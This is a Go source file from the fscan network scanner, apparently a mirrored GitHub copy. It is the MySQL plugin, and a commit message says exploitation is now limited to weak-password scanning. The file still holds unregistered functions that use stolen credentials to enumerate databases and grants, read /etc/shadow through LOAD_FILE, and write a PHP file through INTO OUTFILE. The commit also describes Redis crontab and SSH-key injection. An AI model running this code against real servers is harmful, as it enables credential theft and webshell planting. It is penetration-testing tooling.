mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 14:06:44 +08:00

- 完全移除FTP、MySQL、SSH、ActiveMQ的利用功能,只保留弱密码扫描 - 重构Redis插件利用方法,严格按参数控制启用: * arbitrary_file_write: 需要-rwp和(-rwc或-rwf)参数 * ssh_key_write: 需要-rf参数 * crontab_injection: 需要-rs参数 - 修复Redis未授权访问时的利用条件检查问题 - 去除所有信息收集类利用,只保留GetShell和文件写入等实际攻击能力 现在利用功能完全参数驱动,只有提供对应参数时才启动相应利用方法
332 lines
9.8 KiB
Go
332 lines
9.8 KiB
Go
package mysql
|
||
|
||
import (
|
||
"context"
|
||
"database/sql"
|
||
"fmt"
|
||
"github.com/shadow1ng/fscan/common"
|
||
"github.com/shadow1ng/fscan/common/i18n"
|
||
"github.com/shadow1ng/fscan/plugins/base"
|
||
"strconv"
|
||
"strings"
|
||
)
|
||
|
||
// MySQLExploiter MySQL利用器实现
|
||
type MySQLExploiter struct {
|
||
*base.BaseExploiter
|
||
connector *MySQLConnector
|
||
}
|
||
|
||
// NewMySQLExploiter 创建MySQL利用器
|
||
func NewMySQLExploiter() *MySQLExploiter {
|
||
exploiter := &MySQLExploiter{
|
||
BaseExploiter: base.NewBaseExploiter("mysql"),
|
||
connector: NewMySQLConnector(),
|
||
}
|
||
|
||
// 添加利用方法
|
||
exploiter.setupExploitMethods()
|
||
|
||
return exploiter
|
||
}
|
||
|
||
// setupExploitMethods 设置利用方法
|
||
func (e *MySQLExploiter) setupExploitMethods() {
|
||
// MySQL插件不提供利用功能,仅进行弱密码扫描
|
||
}
|
||
|
||
// exploitInformationGathering 信息收集利用
|
||
func (e *MySQLExploiter) exploitInformationGathering(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||
db, err := e.connectWithCredentials(ctx, info, creds)
|
||
if err != nil {
|
||
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "information_gathering", err), nil
|
||
}
|
||
defer db.Close()
|
||
|
||
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "information_gathering")
|
||
|
||
// 获取版本信息
|
||
version, err := e.getVersion(ctx, db)
|
||
if err == nil {
|
||
base.AddOutputToResult(result, i18n.GetText("mysql_version_info", version))
|
||
result.Extra["version"] = version
|
||
}
|
||
|
||
// 获取当前用户
|
||
user, err := e.getCurrentUser(ctx, db)
|
||
if err == nil {
|
||
base.AddOutputToResult(result, i18n.GetText("mysql_current_user", user))
|
||
result.Extra["current_user"] = user
|
||
}
|
||
|
||
// 获取当前数据库
|
||
database, err := e.getCurrentDatabase(ctx, db)
|
||
if err == nil {
|
||
base.AddOutputToResult(result, i18n.GetText("mysql_current_database", database))
|
||
result.Extra["current_database"] = database
|
||
}
|
||
|
||
return result, nil
|
||
}
|
||
|
||
// exploitDatabaseEnumeration 数据库枚举利用
|
||
func (e *MySQLExploiter) exploitDatabaseEnumeration(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||
db, err := e.connectWithCredentials(ctx, info, creds)
|
||
if err != nil {
|
||
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "database_enumeration", err), nil
|
||
}
|
||
defer db.Close()
|
||
|
||
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "database_enumeration")
|
||
|
||
// 枚举数据库
|
||
databases, err := e.enumerateDatabases(ctx, db)
|
||
if err == nil && len(databases) > 0 {
|
||
base.AddOutputToResult(result, i18n.GetText("mysql_databases_found", strings.Join(databases, ", ")))
|
||
result.Extra["databases"] = databases
|
||
}
|
||
|
||
// 枚举表(限制在非系统数据库中)
|
||
tables, err := e.enumerateTables(ctx, db)
|
||
if err == nil && len(tables) > 0 {
|
||
base.AddOutputToResult(result, i18n.GetText("mysql_tables_found", tables))
|
||
result.Extra["tables"] = tables
|
||
}
|
||
|
||
return result, nil
|
||
}
|
||
|
||
// exploitPrivilegeCheck 权限检查利用
|
||
func (e *MySQLExploiter) exploitPrivilegeCheck(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||
db, err := e.connectWithCredentials(ctx, info, creds)
|
||
if err != nil {
|
||
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "privilege_check", err), nil
|
||
}
|
||
defer db.Close()
|
||
|
||
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "privilege_check")
|
||
|
||
// 检查用户权限
|
||
privileges, err := e.getUserPrivileges(ctx, db)
|
||
if err == nil && len(privileges) > 0 {
|
||
base.AddOutputToResult(result, i18n.GetText("mysql_user_privileges", strings.Join(privileges, ", ")))
|
||
result.Extra["privileges"] = privileges
|
||
}
|
||
|
||
// 检查是否有FILE权限
|
||
hasFilePriv := e.hasFilePrivilege(privileges)
|
||
result.Extra["has_file_privilege"] = hasFilePriv
|
||
if hasFilePriv {
|
||
base.AddOutputToResult(result, i18n.GetText("mysql_file_privilege_detected"))
|
||
}
|
||
|
||
return result, nil
|
||
}
|
||
|
||
// exploitFileRead 文件读取利用
|
||
func (e *MySQLExploiter) exploitFileRead(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||
db, err := e.connectWithCredentials(ctx, info, creds)
|
||
if err != nil {
|
||
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "file_read", err), nil
|
||
}
|
||
defer db.Close()
|
||
|
||
// 尝试读取常见的敏感文件
|
||
filesToRead := []string{
|
||
"/etc/passwd",
|
||
"/etc/shadow",
|
||
"/etc/hosts",
|
||
"C:\\Windows\\System32\\drivers\\etc\\hosts",
|
||
}
|
||
|
||
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "file_read")
|
||
hasRead := false
|
||
|
||
for _, file := range filesToRead {
|
||
content, err := e.readFile(ctx, db, file)
|
||
if err == nil && content != "" {
|
||
base.AddOutputToResult(result, i18n.GetText("mysql_file_read_success", file, content))
|
||
hasRead = true
|
||
}
|
||
}
|
||
|
||
if !hasRead {
|
||
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "file_read",
|
||
fmt.Errorf(i18n.GetText("mysql_no_file_privilege"))), nil
|
||
}
|
||
|
||
return result, nil
|
||
}
|
||
|
||
// exploitFileWrite 文件写入利用
|
||
func (e *MySQLExploiter) exploitFileWrite(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||
db, err := e.connectWithCredentials(ctx, info, creds)
|
||
if err != nil {
|
||
return base.CreateFailedExploitResult(base.ExploitFileWrite, "file_write", err), nil
|
||
}
|
||
defer db.Close()
|
||
|
||
result := base.CreateSuccessExploitResult(base.ExploitFileWrite, "file_write")
|
||
|
||
// 尝试写入测试文件
|
||
testContent := "<?php echo 'MySQL File Write Test'; ?>"
|
||
testFile := "/tmp/mysql_test.php"
|
||
|
||
err = e.writeFile(ctx, db, testFile, testContent)
|
||
if err != nil {
|
||
return base.CreateFailedExploitResult(base.ExploitFileWrite, "file_write", err), nil
|
||
}
|
||
|
||
base.AddOutputToResult(result, i18n.GetText("mysql_file_write_success", testFile))
|
||
base.AddFileToResult(result, testFile)
|
||
|
||
return result, nil
|
||
}
|
||
|
||
// =============================================================================
|
||
// MySQL操作辅助函数
|
||
// =============================================================================
|
||
|
||
// connectWithCredentials 使用凭据连接数据库
|
||
func (e *MySQLExploiter) connectWithCredentials(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*sql.DB, error) {
|
||
// 解析端口号
|
||
port, err := strconv.Atoi(info.Ports)
|
||
if err != nil {
|
||
return nil, fmt.Errorf("无效的端口号: %s", info.Ports)
|
||
}
|
||
connStr := e.buildConnectionString(info.Host, port, creds.Username, creds.Password)
|
||
|
||
db, err := sql.Open("mysql", connStr)
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
|
||
// 测试连接
|
||
if err = db.PingContext(ctx); err != nil {
|
||
db.Close()
|
||
return nil, err
|
||
}
|
||
|
||
return db, nil
|
||
}
|
||
|
||
// buildConnectionString 构建连接字符串
|
||
func (e *MySQLExploiter) buildConnectionString(host string, port int, username, password string) string {
|
||
if common.Socks5Proxy != "" {
|
||
return fmt.Sprintf("%s:%s@tcp-proxy(%s:%d)/mysql?charset=utf8&timeout=10s",
|
||
username, password, host, port)
|
||
}
|
||
return fmt.Sprintf("%s:%s@tcp(%s:%d)/mysql?charset=utf8&timeout=10s",
|
||
username, password, host, port)
|
||
}
|
||
|
||
// getVersion 获取MySQL版本
|
||
func (e *MySQLExploiter) getVersion(ctx context.Context, db *sql.DB) (string, error) {
|
||
var version string
|
||
err := db.QueryRowContext(ctx, "SELECT VERSION()").Scan(&version)
|
||
return version, err
|
||
}
|
||
|
||
// getCurrentUser 获取当前用户
|
||
func (e *MySQLExploiter) getCurrentUser(ctx context.Context, db *sql.DB) (string, error) {
|
||
var user string
|
||
err := db.QueryRowContext(ctx, "SELECT USER()").Scan(&user)
|
||
return user, err
|
||
}
|
||
|
||
// getCurrentDatabase 获取当前数据库
|
||
func (e *MySQLExploiter) getCurrentDatabase(ctx context.Context, db *sql.DB) (string, error) {
|
||
var database string
|
||
err := db.QueryRowContext(ctx, "SELECT DATABASE()").Scan(&database)
|
||
return database, err
|
||
}
|
||
|
||
// enumerateDatabases 枚举数据库
|
||
func (e *MySQLExploiter) enumerateDatabases(ctx context.Context, db *sql.DB) ([]string, error) {
|
||
rows, err := db.QueryContext(ctx, "SHOW DATABASES")
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
defer rows.Close()
|
||
|
||
var databases []string
|
||
for rows.Next() {
|
||
var dbName string
|
||
if err := rows.Scan(&dbName); err != nil {
|
||
continue
|
||
}
|
||
databases = append(databases, dbName)
|
||
}
|
||
|
||
return databases, nil
|
||
}
|
||
|
||
// enumerateTables 枚举表
|
||
func (e *MySQLExploiter) enumerateTables(ctx context.Context, db *sql.DB) (map[string][]string, error) {
|
||
rows, err := db.QueryContext(ctx, `
|
||
SELECT TABLE_SCHEMA, TABLE_NAME
|
||
FROM information_schema.TABLES
|
||
WHERE TABLE_SCHEMA NOT IN ('information_schema', 'mysql', 'performance_schema', 'sys')
|
||
LIMIT 50
|
||
`)
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
defer rows.Close()
|
||
|
||
tables := make(map[string][]string)
|
||
for rows.Next() {
|
||
var schema, table string
|
||
if err := rows.Scan(&schema, &table); err != nil {
|
||
continue
|
||
}
|
||
tables[schema] = append(tables[schema], table)
|
||
}
|
||
|
||
return tables, nil
|
||
}
|
||
|
||
// getUserPrivileges 获取用户权限
|
||
func (e *MySQLExploiter) getUserPrivileges(ctx context.Context, db *sql.DB) ([]string, error) {
|
||
rows, err := db.QueryContext(ctx, "SHOW GRANTS")
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
defer rows.Close()
|
||
|
||
var privileges []string
|
||
for rows.Next() {
|
||
var grant string
|
||
if err := rows.Scan(&grant); err != nil {
|
||
continue
|
||
}
|
||
privileges = append(privileges, grant)
|
||
}
|
||
|
||
return privileges, nil
|
||
}
|
||
|
||
// hasFilePrivilege 检查是否有FILE权限
|
||
func (e *MySQLExploiter) hasFilePrivilege(privileges []string) bool {
|
||
for _, priv := range privileges {
|
||
if strings.Contains(strings.ToUpper(priv), "FILE") {
|
||
return true
|
||
}
|
||
}
|
||
return false
|
||
}
|
||
|
||
// readFile 读取文件
|
||
func (e *MySQLExploiter) readFile(ctx context.Context, db *sql.DB, filename string) (string, error) {
|
||
var content string
|
||
query := fmt.Sprintf("SELECT LOAD_FILE('%s')", filename)
|
||
err := db.QueryRowContext(ctx, query).Scan(&content)
|
||
return content, err
|
||
}
|
||
|
||
// writeFile 写入文件
|
||
func (e *MySQLExploiter) writeFile(ctx context.Context, db *sql.DB, filename, content string) error {
|
||
query := fmt.Sprintf("SELECT '%s' INTO OUTFILE '%s'", content, filename)
|
||
_, err := db.ExecContext(ctx, query)
|
||
return err
|
||
} |